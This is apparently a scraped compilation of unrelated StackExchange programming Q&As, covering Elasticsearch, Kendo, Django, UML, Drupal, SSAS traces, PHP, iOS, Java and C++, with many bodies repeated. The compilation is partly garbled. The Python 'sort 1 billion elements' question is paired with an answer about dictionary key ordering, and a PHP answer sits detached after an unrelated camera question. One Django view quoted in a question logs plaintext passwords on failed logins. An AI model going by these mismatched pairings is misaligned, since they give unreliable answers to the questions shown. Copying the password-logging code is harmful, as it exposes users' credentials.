问:
How to split multiple typed index out to prepare for ES upgrade (where multiple types are deprecated)
We are currently running a cluster with ES 2.3.2 that has one large index with the following properties:

762 GB (366 million docs)

25 data nodes; 3 master nodes; 3 client nodes

23 shards / 1 replica

This one index has 20+ types, each with a few common and many unique fields.  I am redesigning the cluster with the following goals:

1) Remove multiple types in an index so that we can upgrade ES.  Though multi-types are supported in v5, we want to do the work to prep for v6 now.
2) Break up the large index into more manageable smaller indexes

I have set up a new identical cluster.  I modified the indexing so that I have one index per type.  I allocated a shard count based on the relative size of the data with a minimum of 2, and a max of 5 shards.  After indexing all of our data into this new cluster, I am finding that the same query against the new cluster is slower than against the old cluster.

I figured this was due to the explosion of shards (i.e. was 23 primary, and now it is 78).  I closed all but one index (that has a shard count of 2), then ran a test where I targeted a single type against my old monolithic index, and the new single-typed index (using a homebrew tool to run requests in parallel and parse out the "took").  I find that if I do a "size: 0", my new cluster is faster.  When I return 7 or 8 they seem to be in parity.  It then goes downhill where our default query of 30 records returned is about twice as slow.  I am guessing this is because there are fewer threads to do the actual retrieval in the smaller index with two shards vs the large one with 23.

What is the recommendation for moving away from multi-typed indexes when the following is true:
- There are many types
- The types have very different mappings
- There is a huge variance in size per type running from 4 mb to 154 gb

I am currently contemplating putting them all in one type with one massive mapping (I don't think there are any fields with the same name but different mappings), but that seems really ugly.

Any suggestions welcome,

Thanks,
~john

答:
I don't know your data but you can try to lessen the indexes in the following way.

Those types that have similar mappings group in one index. In this index create property "type" and support this property by yourself in queries.

If every type has completely different structure I would put the smaller ones in one index. After all they were this way before.


来源: stackexchange

问:
Kendo Grid Custom Flter Set Filter Value Programmatically
I am trying to programmatically set the filter value of a Kendo Grid Custom Filter. I'm applying my new filter values like:

```<code>gridOptions.dataSource.filter = [
    {
      field: 'MyField',
      operator: 'eq',
      value: newTextValue
    }
];
</code>```

My field definition in the grid options look like:

```<code>{
     width: '140px',
     title: 'MyFieldTitle',
     field: 'MyField',
     filterable: getFieldFilter()
}
</code>```

With the following filter:

```<code>function getFieldFilter() {
  return {
    cell: {
      template: function (args) {
        var element = args.element;

        element.kendoComboBox({
          dataSource: {
            transport: {
              read: 'api/Items'
            }
          },
          valuePrimitive: true,
          dataTextField: 'Description',
          dataValueField: 'Code'
        });
      },
      showOperators: false
    }
  };
}
</code>```

If I apply the filter as shown above, it only works after I click the kendoComboBox in the column and click outside of it again.
My initial thought was that kendo grid would not apply the dataValueField and just set the dataTextField. When I was checking the requests kendo grid is sending to the server, I saw that it was sending to value stored in the kendoComboBox itself (text) and not the value behind it.

If I select something in the kendoComboBox from the UI, everything works just fine. But if I set it programmatically like above, it doesn't.

Do I need to refresh some kind of state to make the kendoComboBox refresh its internal value or how do I solve this issue?

EDIT:
What I'm trying to do, is getting the value of the kendoCombobox from the grid.

```<code>var currentlyAppliedFilters = grid.dataSource.filter().filters;
for (var filter of currentlyAppliedFilters) {
    if (filter.field === 'MyField') {
      var currentlyApplied = filter.value;
    }
}
</code>```

So the code above, would give me the Description property of the items in the kendoCombobox, but what I actually want to get it the Code property.

答:
Initially when the dataSource do not have a filter, the cell filter need a option label. so that the 1st value does not appear as selected.

eg : dojo example with optionLabel

```<code> args.element.kendoDropDownList({
                                dataSource: args.dataSource,
                                optionLabel: "Select a color...",
                                dataTextField: "color",
                                dataValueField: "color",
                                valuePrimitive: true
                            });
</code>```

if you you need the grid to filter when binding, a default filter should be added to the dataSource

eg: dojo example with DataSource Filter

```<code> dataSource: {
          data:[ { color: "#ff0000", size: 30 }, { color: "#000000", size: 33 }] ,
          filter: { field: "color", operator: "eq", value: "#ff0000" }
                    }
</code>```

Hope this helps.

ContentLicense: CC BY-SA 3.0

Body:
I am trying to programmatically set the filter value of a Kendo Grid Custom Filter. I'm applying my new filter values like:

gridOptions.dataSource.filter = [
    {
      field: 'MyField',
      operator: 'eq',
      value: newTextValue
    }
];

My field definition in the grid options look like:

{
     width: '140px',
     title: 'MyFieldTitle',
     field: 'MyField',
     filterable: getFieldFilter()
}

With the following filter:

function getFieldFilter() {
  return {
    cell: {
      template: function (args) {
        var element = args.element;

        element.kendoComboBox({
          dataSource: {
            transport: {
              read: 'api/Items'
            }
          },
          valuePrimitive: true,
          dataTextField: 'Description',
          dataValueField: 'Code'
        });
      },
      showOperators: false
    }
  };
}

If I apply the filter as shown above, it only works after I click the kendoComboBox in the column and click outside of it again.
My initial thought was that kendo grid would not apply the dataValueField and just set the dataTextField. When I was checking the requests kendo grid is sending to the server, I saw that it was sending to value stored in the kendoComboBox itself (text) and not the value behind it.

If I select something in the kendoComboBox from the UI, everything works just fine. But if I set it programmatically like above, it doesn't.

Do I need to refresh some kind of state to make the kendoComboBox refresh its internal value or how do I solve this issue?

EDIT:
What I'm trying to do, is getting the value of the kendoCombobox from the grid.

var currentlyAppliedFilters = grid.dataSource.filter().filters;
for (var filter of currentlyAppliedFilters) {
    if (filter.field === 'MyField') {
      var currentlyApplied = filter.value;
    }
}

So the code above, would give me the Description property of the items in the kendoCombobox, but what I actually want to get it the Code property.

Body:
Initially when the dataSource do not have a filter, the cell filter need a option label. so that the 1st value does not appear as selected.

eg : dojo example with optionLabel

 args.element.kendoDropDownList({
                                dataSource: args.dataSource,
                                optionLabel: "Select a color...",
                                dataTextField: "color",
                                dataValueField: "color",
                                valuePrimitive: true
                            });

if you you need the grid to filter when binding, a default filter should be added to the dataSource

eg: dojo example with DataSource Filter

 dataSource: {
          data:[ { color: "#ff0000", size: 30 }, { color: "#000000", size: 33 }] ,
          filter: { field: "color", operator: "eq", value: "#ff0000" }
                    }

Hope this helps.


问:
Django form is not displaying
I am new to django forms and while trying to design an HTML form, I notice that the django form blocks are not displaying. Below are the codes:

 tag of index.html:

```<code><div class="container">
    <div class="row">
        <div class="col-md-6 col-md-offset-3">
            <div class="panel panel-login">
                <div class="panel-heading">
                    <div class="row">
                        <div class="col-xs-6">
                            <a href="#" class="active" id="login-form-link">Login</a>
                        </div>
                        <div class="col-xs-6">
                            <a href="#" id="register-form-link">Register</a>
                        </div>
                    </div>
                    <hr>
                </div>
                <div class="panel-body">
                    <div class="row">
                        <div class="col-lg-12">
                            {% block login_content %}
                            {% endblock %}
                            {% block register_content %}
                            {% endblock %}
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
</code>```

login.html which goes into the {% block login_content %}

```<code>{% extends 'index.html' %}
{% block login_content %}
<form id="login-form" action="{% url 'authentication:user_login' %}" role="form" style="display: block;" method="POST">
    {% csrf_token %}
    <label for="username">Username:</label>
    <input id="username" type="text" name="username" placeholder="Enter Username" tabindex="1" class="form-control">

    <label for="password">Password:</label>
    <input id="password" type="password" name="password" tabindex="=2" class="form-control" placeholder="Password">

    <button type="submit" class="btn btn-success">Login</button>

</form>
{% endblock %}
</code>```

register.html that goes into the {% block register_content %}

```<code>{% extends 'index.html' %}
{% block register_content %}
    <form id="register-form" role="form" style="display: none;" enctype="multipart/form-data" method="POST">
        {% csrf_token %}
        {{ user_form.as_p }}
        {{ profile_form.as_p }}
        <input type="submit" name="" value="Register">
    </form>
{% endblock %}
</code>```

On my UI, the {{ user_form.as_p }} and the {{ profile_form.as_p }} does not appear at all.

When i inspect the console of my UI, the html does not even pick up the following line from the register.html:

```<code><form id="register-form" role="form" style="display: none;" enctype="multipart/form-data" method="POST">
</code>```

Here is the login.js which is responsible for the UI interactivity:

```<code>$(function() {

    $('#login-form-link').click(function(e) {
        $("#login-form").delay(100).fadeIn(100);
        $("#register-form").fadeOut(100);
        $('#register-form-link').removeClass('active');
        $(this).addClass('active');
        e.preventDefault();
    });
    $('#register-form-link').click(function(e) {
        $("#register-form").delay(100).fadeIn(100);
        $("#login-form").fadeOut(100);
        $('#login-form-link').removeClass('active');
        $(this).addClass('active');
        e.preventDefault();
    });

});
</code>```

EDIT:
Here is my views.py:

```<code>def user_login(request):
    if request.method == "POST":
        username = request.POST.get('username')
        password = request.POST.get('password')

        user = authenticate(username=username, password=password)

        if user:
            if user.is_active:
                login(request, user)
                return HttpResponseRedirect(reverse('homepage'))  # main page if login is successful

            else:
                return HttpResponse("ACCOUNT NOT ACTIVE")

        else:
            print('Someone tried to log in and failed')
            print('Username: {}, password, {}'.format(username, password))
            return HttpResponse('Invalid login details supplied')

    else:
        return render(request, 'authentication/login.html', {})

def register(request):
    registered = False

    if request.method == "POST":
        user_form = UserForm(data=request.POST)
        profile_form = UserProfileInfoForm(data=request.POST)

        if user_form.is_valid() and profile_form.is_valid():

            user = user_form.save()
            user.set_password(user.password)
            user.save()

            profile = profile_form.save(commit=False)
            profile.user = user

            if 'profile_pic' in request.FILES:
                profile.profile_pic = request.FILES['profile_pic']

            profile.save()

            registered = True

        else:
            print(user_form.errors, profile_form.errors)

    else:
        user_form = UserForm()
        profile_form = UserProfileInfoForm()

    return render(request, 'authentication/register.html',
                  {
                      'user_form': user_form,
                      'profile_form': profile_form,
                      'registered': registered
                  })
</code>```

Okay, it seems like it is impossible to have a single page display both the templates. Is there anyway to get it done?

答:
In your register.html,

```<code><form id="register-form" role="form" style="display: none;" enctype="multipart/form-data" method="POST">
</code>```

You are setting style="display: none;", so obviously the form won't show up.

EDIT: I am not sure about the feasibility of showing two different forms in the same page.

Title: Django form is not displaying

Body:
I am new to django forms and while trying to design an HTML form, I notice that the django form blocks are not displaying. Below are the codes:

 tag of index.html:

                            Login

                            Register

                            {% block login_content %}
                            {% endblock %}
                            {% block register_content %}
                            {% endblock %}

login.html which goes into the {% block login_content %}

{% extends 'index.html' %}
{% block login_content %}
<form id="login-form" action="{% url 'authentication:user_login' %}" role="form" style="display: block;" method="POST">
    {% csrf_token %}
    Username:
    <input id="username" type="text" name="username" placeholder="Enter Username" tabindex="1" class="form-control">

    Password:
    <input id="password" type="password" name="password" tabindex="=2" class="form-control" placeholder="Password">

    <button type="submit" class="btn btn-success">Login</button>

</form>
{% endblock %}

register.html that goes into the {% block register_content %}

{% extends 'index.html' %}
{% block register_content %}
    <form id="register-form" role="form" style="display: none;" enctype="multipart/form-data" method="POST">
        {% csrf_token %}
        {{ user_form.as_p }}
        {{ profile_form.as_p }}
        <input type="submit" name="" value="Register">
    </form>
{% endblock %}

On my UI, the {{ user_form.as_p }} and the {{ profile_form.as_p }} does not appear at all.

When i inspect the console of my UI, the html does not even pick up the following line from the register.html:

<form id="register-form" role="form" style="display: none;" enctype="multipart/form-data" method="POST">

Here is the login.js which is responsible for the UI interactivity:

$(function() {

    $('#login-form-link').click(function(e) {
        $("#login-form").delay(100).fadeIn(100);
        $("#register-form").fadeOut(100);
        $('#register-form-link').removeClass('active');
        $(this).addClass('active');
        e.preventDefault();
    });
    $('#register-form-link').click(function(e) {
        $("#register-form").delay(100).fadeIn(100);
        $("#login-form").fadeOut(100);
        $('#login-form-link').removeClass('active');
        $(this).addClass('active');
        e.preventDefault();
    });

});

EDIT:
Here is my views.py:

def user_login(request):
    if request.method == "POST":
        username = request.POST.get('username')
        password = request.POST.get('password')

        user = authenticate(username=username, password=password)

        if user:
            if user.is_active:
                login(request, user)
                return HttpResponseRedirect(reverse('homepage'))  # main page if login is successful

            else:
                return HttpResponse("ACCOUNT NOT ACTIVE")

        else:
            print('Someone tried to log in and failed')
            print('Username: {}, password, {}'.format(username, password))
            return HttpResponse('Invalid login details supplied')

    else:
        return render(request, 'authentication/login.html', {})

def register(request):
    registered = False

    if request.method == "POST":
        user_form = UserForm(data=request.POST)
        profile_form = UserProfileInfoForm(data=request.POST)

        if user_form.is_valid() and profile_form.is_valid():

            user = user_form.save()
            user.set_password(user.password)
            user.save()

            profile = profile_form.save(commit=False)
            profile.user = user

            if 'profile_pic' in request.FILES:
                profile.profile_pic = request.FILES['profile_pic']

            profile.save()

            registered = True

        else:
            print(user_form.errors, profile_form.errors)

    else:
        user_form = UserForm()
        profile_form = UserProfileInfoForm()

    return render(request, 'authentication/register.html',
                  {
                      'user_form': user_form,
                      'profile_form': profile_form,
                      'registered': registered
                  })

Okay, it seems like it is impossible to have a single page display both the templates. Is there anyway to get it done?

Body:
In your register.html,

<form id="register-form" role="form" style="display: none;" enctype="multipart/form-data" method="POST">

You are setting style="display: none;", so obviously the form won't show up.

EDIT: I am not sure about the feasibility of showing two different forms in the same page.


问:
Can Sequence Diagrams have messages that their Class Diagram counterpart don't
I've been tasked with making a sequence diagram and this should be done via creating a new sequence diagram off of a class diagram, so I have access to all the actors, operations etc. I need to make a sequence diagram for making a booking and I've noticed that some of the messages that would be sent aren't represented in the original class diagram. For instance, I figured the controller would need to fetch available bookings from the db but I don't have such an operation in my class diagram. With sequence diagrams, can they only have functionality provided in the class diagram? Or is it okay that this operation doesn't exist in the class diagram? I was under the impression that if you find functionality that doesn't exist in the class diagram, it's most likely wrong but I'm not sure.</p>

答: Well, it seems you have spotted a hole in your architecture then. And that's pretty much one major advantage of creating SDs. If there's a missing operation you have to contact the system architect and talk with him on how to fix it. In no case you just invent a message to have a nice looking diagram. Only once the operation is identified you place a correct message with an annotation that it must be implemented - and after clarifying that with the system architect.</p>


问:
ARCore project has no gradle file in Android studio
I downloaded ARCore project and edited the project to run on older devices than Android 7.0 by following some online tutorial that simply editing the manifest file minsdkversion. Then I decompiled the code and signed it with my own debug keys. But all I see is a project without gradle and I am confused with everything at this point.Here is a screenshot of my whole project and gradle settings.

And when I try to run the project, I get this.

So my question is, where is Gradle file? Has anyone tried it and run into this kind of issues?

答: Do know for grale, but the error you get is the TestRunner, that runs the unit tests, this is not the main application launcher.</p>


问:
Using Drupal.behaviors for certain pages only?
I have a module that displays an alert to a user, inside of a block. Here is my GitHub repo, because I can't remember how to get a dev branch going on Drupal CVS right this second:

https://github.com/kevinquillen/User-Alerts

Module page (with longer description):

http://drupal.org/project/user_alert

I recently started addressing some of the issues in the queue. One of the first ones I wanted to get out of the way was making it so this module can still function when Block Cache and/or Boost are enabled. One person reported that when one user closed the message, it closed it for all other visitors, I assume this stems from caching mechanisms.

I added a Drupal.behavior to check for an active alert on page load- but I can't figure out how to only fire this behavior if the block is visible per its visibility settings. For instance, if its only set to the front page, this behavior should only fire on the front page and not all pages (adding overhead).

答: check for the existence of your blocks css class, or add a class specificly for this check, before firing off AJAX call. If your class exists your block exists. </p>

ContentLicense: CC BY-SA 2.5


问:
SQL analisys server profiler Server side too many records
I managed to create a server side trace on my analysis server which runs in background.

Somehow it has too many records for each entry. On the print screen you can see about 30 records they all refer to the same entry, it should have been only two, two for entry (Session initialize and Audit login) and one for exit (audit Logout). Why are there so many and how to filter them?

print screen from the profiler

That's the code i used to create the server side profiler

```<code><Batch xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
    <Create xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
        <ObjectDefinition>
            <Trace>
                <ID>MicrosoftProfilerTrace1512302999</ID>
                <Name>MicrosoftProfilerTrace1512302999</Name>

                <LogFileName>D:\OLAP_Recorder1410.trc</LogFileName>

                <LogFileAppend>1</LogFileAppend>

                <AutoRestart>1</AutoRestart>

                <LogFileSize>5000</LogFileSize>

                <LogFileRollover>1</LogFileRollover>

                <Events>
                    <Event>
                        <EventID>1</EventID>
                        <Columns>
                            <ColumnID>24</ColumnID>
                            <ColumnID>32</ColumnID>
                            <ColumnID>2</ColumnID>
                            <ColumnID>3</ColumnID>
                            <ColumnID>25</ColumnID>
                            <ColumnID>33</ColumnID>
                            <ColumnID>36</ColumnID>
                            <ColumnID>37</ColumnID>
                        </Columns>
                    </Event>
                    <Event>
                        <EventID>2</EventID>
                        <Columns>
                            <ColumnID>32</ColumnID>
                            <ColumnID>2</ColumnID>
                            <ColumnID>5</ColumnID>
                            <ColumnID>6</ColumnID>
                            <ColumnID>25</ColumnID>
                            <ColumnID>33</ColumnID>
                            <ColumnID>36</ColumnID>
                            <ColumnID>37</ColumnID>
                        </Columns>
                    </Event>
                    <Event>
                        <EventID>43</EventID>
                        <Columns>
                            <ColumnID>2</ColumnID>
                            <ColumnID>3</ColumnID>
                            <ColumnID>25</ColumnID>
                            <ColumnID>33</ColumnID>
                            <ColumnID>28</ColumnID>
                            <ColumnID>36</ColumnID>
                            <ColumnID>32</ColumnID>
                            <ColumnID>37</ColumnID>
                            <ColumnID>41</ColumnID>
                            <ColumnID>42</ColumnID>
                            <ColumnID>45</ColumnID>
                        </Columns>
                    </Event>
                </Events>
                <Filter>
                    <NotLike>
                        <ColumnID>37</ColumnID>
                        <Value>SQL Server Profiler - beed891e-04cd-4afb-ac37-9dc964567a1b</Value>
                    </NotLike>
                </Filter>
            </Trace>
        </ObjectDefinition>
    </Create>
</Batch>
</code>```

答: a large number of entries may indicate that many users log in and log out of the base server on which many databases work. You can flirt your entries by Database name. You can configure it in the Event selection tab and then use the column filters option</p>

Body:
I managed to create a server side trace on my analysis server which runs in background.

Somehow it has too many records for each entry. On the print screen you can see about 30 records they all refer to the same entry, it should have been only two, two for entry (Session initialize and Audit login) and one for exit (audit Logout). Why are there so many and how to filter them?

print screen from the profiler

That's the code i used to create the server side profiler

<Batch xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
    <Create xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
        <ObjectDefinition>
            <Trace>
                <ID>MicrosoftProfilerTrace1512302999</ID>
                <Name>MicrosoftProfilerTrace1512302999</Name>

                <LogFileName>D:\OLAP_Recorder1410.trc</LogFileName>

                <LogFileAppend>1</LogFileAppend>

                <AutoRestart>1</AutoRestart>

                <LogFileSize>5000</LogFileSize>

                <LogFileRollover>1</LogFileRollover>

                <Events>
                    <Event>
                        <EventID>1</EventID>
                        <Columns>
                            <ColumnID>24</ColumnID>
                            <ColumnID>32</ColumnID>
                            <ColumnID>2</ColumnID>
                            <ColumnID>3</ColumnID>
                            <ColumnID>25</ColumnID>
                            <ColumnID>33</ColumnID>
                            <ColumnID>36</ColumnID>
                            <ColumnID>37</ColumnID>
                        </Columns>
                    </Event>
                    <Event>
                        <EventID>2</EventID>
                        <Columns>
                            <ColumnID>32</ColumnID>
                            <ColumnID>2</ColumnID>
                            <ColumnID>5</ColumnID>
                            <ColumnID>6</ColumnID>
                            <ColumnID>25</ColumnID>
                            <ColumnID>33</ColumnID>
                            <ColumnID>36</ColumnID>
                            <ColumnID>37</ColumnID>
                        </Columns>
                    </Event>
                    <Event>
                        <EventID>43</EventID>
                        <Columns>
                            <ColumnID>2</ColumnID>
                            <ColumnID>3</ColumnID>
                            <ColumnID>25</ColumnID>
                            <ColumnID>33</ColumnID>
                            <ColumnID>28</ColumnID>
                            <ColumnID>36</ColumnID>
                            <ColumnID>32</ColumnID>
                            <ColumnID>37</ColumnID>
                            <ColumnID>41</ColumnID>
                            <ColumnID>42</ColumnID>
                            <ColumnID>45</ColumnID>
                        </Columns>
                    </Event>
                </Events>
                <Filter>
                    <NotLike>
                        <ColumnID>37</ColumnID>
                        <Value>SQL Server Profiler - beed891e-04cd-4afb-ac37-9dc964567a1b</Value>
                    </NotLike>
                </Filter>
            </Trace>
        </ObjectDefinition>
    </Create>
</Batch>


问:
rangeHighlights not showing with bootstrap-slider
bootstrap-slider working, displays as intended, however the rangeHighlights do not seem to be appearing.

Copied the html/css/js code from http://seiyria.com/bootstrap-slider into my projects as it is on the site.

What am i doing wrong here?

$('#ex22').slider({
  id: 'slider22',
  min: 0,
  max: 20,
  step: 1,
  value: 14,
  rangeHighlights: [{
      "start": 2,
      "end": 5,
      "class": "category1"
    },
    {
      "start": 7,
      "end": 8,
      "class": "category2"
    },
    {
      "start": 17,
      "end": 19
    },
    {
      "start": 17,
      "end": 24
    },
    {
      "start": -3,
      "end": 19
    }
  ]
});```
<pre class="snippet-code-css lang-css prettyprint-override"><code>#slider22 .slider-selection {
  background: #2196f3;
}

#slider22 .slider-rangeHighlight {
  background: #f70616;
}

#slider22 .slider-rangeHighlight.category1 {
  background: #FF9900;
}

#slider22 .slider-rangeHighlight.category2 {
  background: #99CC00;
}</code>```

<!DOCTYPE html>

  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

  <link href="http://seiyria.com/bootstrap-slider/css/bootstrap.min.css" rel="stylesheet" />
  <link href="http://seiyria.com/bootstrap-slider/css/bootstrap-slider.css" rel="stylesheet" />

    <input id="ex22" type="text" data-slider-id="slider22" data-slider-min="0" data-slider-max="20" data-slider-step="1" data-slider-value="14" data-slider-rangeHighlights='[{ "start": 2, "end": 5, "class": "category1" },
                                   { "start": 7, "end": 8, "class": "category2" },
                                   { "start": 17, "end": 19 },
                                   { "start": 17, "end": 24 }, //not visible -  out of slider range
                                   { "start": -3, "end": 19 }]' />

```

答: Probably you use bootstrap 4. For now it won't work with this version. Use bootstrap 3 or you have to adjust bootstrap-slider to new bootstrap.</p>

Body:
bootstrap-slider working, displays as intended, however the rangeHighlights do not seem to be appearing.

Copied the html/css/js code from http://seiyria.com/bootstrap-slider into my projects as it is on the site.

What am i doing wrong here?

$('#ex22').slider({
  id: 'slider22',
  min: 0,
  max: 20,
  step: 1,
  value: 14,
  rangeHighlights: [{
      "start": 2,
      "end": 5,
      "class": "category1"
    },
    {
      "start": 7,
      "end": 8,
      "class": "category2"
    },
    {
      "start": 17,
      "end": 19
    },
    {
      "start": 17,
      "end": 24
    },
    {
      "start": -3,
      "end": 19
    }
  ]
});

#slider22 .slider-selection {
  background: #2196f3;
}

#slider22 .slider-rangeHighlight {
  background: #f70616;
}

#slider22 .slider-rangeHighlight.category1 {
  background: #FF9900;
}

#slider22 .slider-rangeHighlight.category2 {
  background: #99CC00;
}

<!DOCTYPE html>

  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

  <link href="http://seiyria.com/bootstrap-slider/css/bootstrap.min.css" rel="stylesheet" />
  <link href="http://seiyria.com/bootstrap-slider/css/bootstrap-slider.css" rel="stylesheet" />

    <input id="ex22" type="text" data-slider-id="slider22" data-slider-min="0" data-slider-max="20" data-slider-step="1" data-slider-value="14" data-slider-rangeHighlights='[{ "start": 2, "end": 5, "class": "category1" },
                                   { "start": 7, "end": 8, "class": "category2" },
                                   { "start": 17, "end": 19 },
                                   { "start": 17, "end": 24 }, //not visible -  out of slider range
                                   { "start": -3, "end": 19 }]' />


问:
How to view corresponding SQL query of the Django ORM's queryset?
Is there a way I can print the query the Django ORM is generating?

Say I execute the following statement: Model.objects.filter(name='test')

How do I get to see the generated SQL query?

答:
You can use a Django debug_toolbar to view the SQL query.
Step by step guide for debug_toolbar usage :

Install the Debug_toolbar

```<code>pip install django-debug-toolbar
</code>```

Edit settings.py file & add debug_toolbar to Installed apps, this should be added below to 'django.contrib.staticfiles'. Also add debug_toolbar to Middleware.

Settings.py=>

```<code>INSTALLED_APPS= [ 'debug_toolbar']

MIDDLEWARE = ['debug_toolbar.middleware.DebugToolbarMiddleware']
</code>```

create a new list named INTERNAL_IPS in settings.py file

Settings.py=> create new list at the end of settings.py file & add below list:

```<code>INTERNAL_IPS= [127.0.0.1']
</code>```

This will allow the debug to run only on internal developement server

Edit urls.py file of #Project & add below code:

```<code>if settings.DEBUG:
    import debug_toolbar
    urlpatterns = [
    url(r'^__debug__/', include(debug_toolbar.urls))
    ] + urlpatterns
</code>```

apply migrate & run server again

You will see an add-on on your web page at 127.0.0.1 & if you click on SQL Query check box, you can actually see the run time of query as well.

OwnerDisplayName: DjangoNewbe

ContentLicense: CC BY-SA 4.0

Body:
You can use a Django debug_toolbar to view the SQL query.
Step by step guide for debug_toolbar usage :

Install the Debug_toolbar

pip install django-debug-toolbar

Edit settings.py file & add debug_toolbar to Installed apps, this should be added below to 'django.contrib.staticfiles'. Also add debug_toolbar to Middleware.

Settings.py=>

INSTALLED_APPS= [ 'debug_toolbar']

MIDDLEWARE = ['debug_toolbar.middleware.DebugToolbarMiddleware']

create a new list named INTERNAL_IPS in settings.py file

Settings.py=> create new list at the end of settings.py file & add below list:

INTERNAL_IPS= [127.0.0.1']

This will allow the debug to run only on internal developement server

Edit urls.py file of #Project & add below code:

if settings.DEBUG:
    import debug_toolbar
    urlpatterns = [
    url(r'^__debug__/', include(debug_toolbar.urls))
    ] + urlpatterns

apply migrate & run server again

You will see an add-on on your web page at 127.0.0.1 & if you click on SQL Query check box, you can actually see the run time of query as well.


问:
How to get contents of a webpage with PHP
I'm working with PHP to manage my Telegram Bot. Basically Telegram had added a feature which can lets users to get updates from their bots within this url:

https://api.telegram.org/bot[TOKEN_NUMBER]

Now I want to know, the bot that I'm going to search for, does exist or not.

So whenever you type the wrong Token Number of the bot, the API page returns this:

```<code>{"ok":false,"error_code":401,"description":"Unauthorized"}
</code>```

And if exists the page returns this instead:

```<code>{"ok":true,"result":[]}
</code>```

As you can see I have to get contents of a this page and determine some variables in order to know the existence of a bot. So, how can I do that with PHP ?

答:
you can use:

```<code>$content = file_get_contents($url);
</code>```

or use cURL http://php.net/manual/en/curl.examples-basic.php

```<code><?php

$ch = curl_init("http://www.example.com/");
$fp = fopen("example_homepage.txt", "w");

curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);
curl_close($ch);
fclose($fp);
?>
</code>```

Body:
I'm working with PHP to manage my Telegram Bot. Basically Telegram had added a feature which can lets users to get updates from their bots within this url:

https://api.telegram.org/bot[TOKEN_NUMBER]

Now I want to know, the bot that I'm going to search for, does exist or not.

So whenever you type the wrong Token Number of the bot, the API page returns this:

{"ok":false,"error_code":401,"description":"Unauthorized"}

And if exists the page returns this instead:

{"ok":true,"result":[]}

As you can see I have to get contents of a this page and determine some variables in order to know the existence of a bot. So, how can I do that with PHP ?

Body:
you can use:

$content = file_get_contents($url);

or use cURL http://php.net/manual/en/curl.examples-basic.php

<?php

$ch = curl_init("http://www.example.com/");
$fp = fopen("example_homepage.txt", "w");

curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);
curl_close($ch);
fclose($fp);
?>


问:
How to assign window tint color to view background color or lable text color dynamically- iOS
In the storyboard, we have the option to change Global tint color as shown below:

Is there any way to assign same tint color to Lable text color using storyboard? as I don't want to create the new reference of the label to change color only.

And when I will change global tint color then all text field text color should be changed.

答:
There is no way to apply label color globally from storyboard.
But you can create Custom Label Class in which you can set default color for label. Finally assign that class in identity inspector of every label you have added in storyboard by selecting label.</p>

```<code>    class CustomLabel: UILabel {
    required init(coder aDecoder: NSCoder) {
        super.init(coder: aDecoder)!

        //you can set your properties
        //e.g
        self.textColor = UIColor.darkGray
    }

}
</code>```

Body:
There is no way to apply label color globally from storyboard.
But you can create Custom Label Class in which you can set default color for label. Finally assign that class in identity inspector of every label you have added in storyboard by selecting label.

    class CustomLabel: UILabel {
    required init(coder aDecoder: NSCoder) {
        super.init(coder: aDecoder)!

        //you can set your properties
        //e.g
        self.textColor = UIColor.darkGray
    }

}


问:
Oracle / OpenJDK compatibility for com.sun.net.httpserver
Are the Oracle Java and OpenJDK implementations for com.sun.net.httpserver fully compatibile? Should I expect some problems when I develop on Oracle Java, but ship for OpenJDK (docker)?

Eclipse warns me for using 'restricted' package, which makes me some worries, however, Eclipse's warnings are flawed in many domains (maven the most prominent one from my daily life).

Is there a good reason as for current stand (Java 8) for discouraging using of this package in first line? If there is, is it relevant for Oracle vs. OpenJDK or they are fully compatibile for that package?

答: That package is part of an exported, JDK-specific API, per https://docs.oracle.com/javase/9/docs/api/jdk.httpserver-summary.html . Exported means you can use it. JDK-specific means it's in both OpenJDK and Oracle JDK, but doesn't necessarily have to be in every implementation. Please see http://openjdk.java.net/jeps/179 for details.</p>


问:
Are there cameras that capture not only color but the actual depth?
Getting into 3D reconstruction techniques, I'm curious whether there are cameras that capture not only color but the depth at the moment of image being captured. It would appear that getting the depth of a particular pixel on the sensor would be far more accurate than needing to reconstruct after the fact by using many images.

Thoughts? Suggestions?

答: Yes, there are sensors which are not based on the triangulation principle. They use the time of flight or similar principles to capture the depth for a particular pixel. Take a look at PMD-Sensors</p>


答: Try to use file_get_contents(), it will return whatever you see when opening the same URL in your browser. You could also have a look at the Composer packages that do so, such that you don't have to invent the wheel once more ;)</p>

Title: How to get contents of a webpage with PHP


问:
How to sort a list of 1billion elements in python
How to sort a list of 1 billion elements in python
Please elaborate
Assuming we have unlimited space.

Thanks for the answers, but, this question is asked in the perspective of optimizing algorithm to sort, not to work on python. This question is asked in an interview, in the context of, having large number of elements, may be integers or strings, this probably wont be used in real world as we have techniques like pagination.

答:
Dictionaries are unordered. They are hash tables and you are not guaranteed the order of keys in a hash table.

If you require the keys to be ordered, try the ordered dict class in collections.

If you need to sort the keys you could place them in a list, and sort the list.

```<code>my_dict = {key: value for key, value in zip(keys, values)} # Example dict
keys = [i for i in my_dict]
keys.sort()
</code>```

Body:
Dictionaries are unordered. They are hash tables and you are not guaranteed the order of keys in a hash table.

If you require the keys to be ordered, try the ordered dict class in collections.

If you need to sort the keys you could place them in a list, and sort the list.

my_dict = {key: value for key, value in zip(keys, values)} # Example dict
keys = [i for i in my_dict]
keys.sort()


问:
foreach not recognized in C++
In my the cs106b book we use the expression "foreach" to go through a list of words in a Map. I implemented the code and banged my head against the wall facing mysterious errors. Here's the code:

```<code>   void DisplayWordCounts(Map<int> & wordsCount) {
     foreach (string word in wordsCount) {
        cout << left << setw(15) << word << right << setw(5)
        << wordsCount[word] << endl;
     }
}
</code>```

on the line starting with "foreach" I get the following errors:
lesson4-macbeth/life.cpp:58: error: expected primary-expression before 'word'
lesson4-macbeth/life.cpp:58: error: 'foreach' was not declared in this scope
lesson4-macbeth/life.cpp:58: error: expected `;' before '{' token

I guess foreach is not recognized. In that case, how can I go through a list of items from the Map class?

答:
foreach doesn't exist in C++.

In the latest version of C++ which is only just released in some of the latest compilers, you can use "Range-based for-loop" .. find it on this page: http://en.wikipedia.org/wiki/C%2B%2B0x

